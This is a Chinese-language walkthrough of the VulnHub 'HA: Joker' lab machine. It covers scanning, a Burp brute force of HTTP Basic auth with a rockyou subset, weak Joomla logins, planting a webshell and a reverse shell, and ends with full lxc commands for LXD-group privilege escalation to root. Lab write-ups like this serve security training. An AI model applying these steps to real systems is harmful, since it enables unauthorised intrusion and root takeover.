一、环境准备
1.靶机下载
https://www.vulnhub.com/entry/ha-joker,379/
2.网络配置
kali攻击机和靶机均采用桥接模式,使用手机热点
二、信息收集
1.网络主机发现
sudo arp-scan -l
kali:192.168.5.235
靶机:192.168.5.172
2.目标主机扫描
sudo nmap -sS -sV -O -p- 192.168.5.172
开放80,8080和22端口
8080端口需要账户密码,暂不理会,先对80端口进行目录扫描
3.网站目录扫描
dirsearch -u http://192.168.5.172
dirb http://192.168.5.172 -X .txt
#-X 在每个字典的后面添加一个后缀
扫描结果:发现phpinfo,secret.txt
查看secret.txt内容
推测:多次出现rock,指的是kali自带的rockyou.txt字典;100指的是取字典的前100个;再结合提示“枚举是关键”可知应该采用爆破登录8080的网站
三、网站爆破
1.导出密码字典
head -n 100 /usr/share/wordlists/rockyou.txt > test.txt
命令解释:
2.BP抓包进行密码爆破
猜想用户名是joker
抓包后对认证信息(Basic后面的东西)base64解码发现,账号密码格式为"用户名:密码“(joker:123456)
转包后右键“send to intruder",发送到爆破模块,设置蓝色部分为payload
导入刚才的test.txt
添加前缀
添加base64编码
取消勾选url编码选项(Payload encoding)
开始爆破(Start attack)
爆破成功
base64解码,发现密码为hannah
3.弱密码登录
使用用户名”joker“,密码”hannah“成功登录
看到还有登录功能,该站点使用了joomlaCMS,尝试使用joomla的默认账号密码joomla进行登录
弱密码登录,从Login Form下面看到用户身份为Super User了
点击User Menu 下的Site Administrator,还是使用弱密码登录成功
四、漏洞发现
1.在插件下的模板处发现漏洞点
2.新建一句话木马文件
3.使用蚁剑连接
3-1注意连接地址不是直接复制url框的,经过尝试得出连接url为xxx/templates/beez3/shell.php
3-2还要添加认证信息,否则连接失败
参考BP抓包内容填写下面内容(joker:hannah编码后为am9rZXI6aGFubmFo)
连接成功
五、反弹SHELL
1.直接在蚁剑编写反弹木马
2.kali端开启监听
3.利用蚁剑虚拟终端执行反弹木马
4.反弹SHELL成功
执行id指令发现,当前用户属于www-data和lxd组
(通过适当的操作,本地lxd组的用户成员可以理解将自己的权限提升为主机操作系统的root权限。)
下面需要给靶机挂载lxd镜像
六、LXD容器提权
1.下载镜像压缩包
https://github.com/saghul/lxd-alpine-builder
2.通过蚁剑上传到靶机
在反弹shell解压zip
进入解压后master文件夹
3.挂载容器提权
3-1导入镜像
lxc image import ./alpine-v3.11-x86_64-20200420_1518.tar.gz --alias myimage
3-2查看可用镜像,检查是否导入成功
lxc image list
3-3使用刚才导入的镜像创建一个容器实例
lxc init myimage ignite -c security.privileged=true
3-4添加设备,进行挂载
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
3-5启动容器
lxc start ignite
3-6执行命令
lxc exec ignite /bin/sh
到此为止,已经成功提权到root用户了
下面是整个操作过程
命令解释